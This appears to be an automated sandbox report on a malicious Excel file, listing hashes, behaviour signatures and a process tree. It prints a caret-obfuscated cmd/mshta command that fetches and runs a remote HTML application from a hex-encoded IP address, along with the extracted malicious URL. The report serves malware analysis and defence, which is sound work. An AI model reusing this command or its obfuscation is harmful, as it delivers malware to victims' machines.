Analysis
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max time kernel
121s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
11-11-2024 17:45
Behavioral task
behavioral1
Sample
d9ee9cddb8edbdd50f480311c139576a953d24eb9683a02b830e3d57edfdb6d8.xls
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
d9ee9cddb8edbdd50f480311c139576a953d24eb9683a02b830e3d57edfdb6d8.xls
Resource
win10v2004-20241007-en
General
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Target
d9ee9cddb8edbdd50f480311c139576a953d24eb9683a02b830e3d57edfdb6d8.xls
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Size
108KB
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MD5
ee8d73e733ce9e31839cc7e010293795
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SHA1
a6723a4d3fd7e672b520638ec98b47f483d2d235
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SHA256
d9ee9cddb8edbdd50f480311c139576a953d24eb9683a02b830e3d57edfdb6d8
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SHA512
688727b9d2a9d397025727d63cfa74f836a3e441cd93ebc1647a11a4981ebf36293d9e4774143a08ff3aac007e71232b3e831523ca81c5de35ee7871e3b2638d
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SSDEEP
3072:+C+nBqmxk3hbdlylKsgqopeJBWhZFGkE+cMLxAAIFxe53lGvFTQ3IzxgdrvxpU0O:R+nBqmxk3hbdlylKsgqopeJBWhZFVE+s
Malware Config
Extracted
http://185.7.214.7/fer/fe4.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1804 1520 cmd.exe 29 -
Blocklisted process makes network request 2 IoCs
flow pid Process 4 1684 mshta.exe 7 1684 mshta.exe -
System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EXCEL.EXE Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3533259084-2542256011-65585152-1000\Software\Microsoft\Internet Explorer\Main mshta.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1520 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1520 EXCEL.EXE 1520 EXCEL.EXE 1520 EXCEL.EXE -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1520 wrote to memory of 1804 1520 EXCEL.EXE 30 PID 1520 wrote to memory of 1804 1520 EXCEL.EXE 30 PID 1520 wrote to memory of 1804 1520 EXCEL.EXE 30 PID 1520 wrote to memory of 1804 1520 EXCEL.EXE 30 PID 1804 wrote to memory of 1684 1804 cmd.exe 32 PID 1804 wrote to memory of 1684 1804 cmd.exe 32 PID 1804 wrote to memory of 1684 1804 cmd.exe 32 PID 1804 wrote to memory of 1684 1804 cmd.exe 32
Processes
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C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\d9ee9cddb8edbdd50f480311c139576a953d24eb9683a02b830e3d57edfdb6d8.xls1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1520 -
C:\Windows\SysWOW64\cmd.execmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e4.h^tm^l2⤵
- Process spawned unexpected child process
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1804 -
C:\Windows\SysWOW64\mshta.exemshta http://0xb907d607/fer/fe4.html3⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
PID:1684
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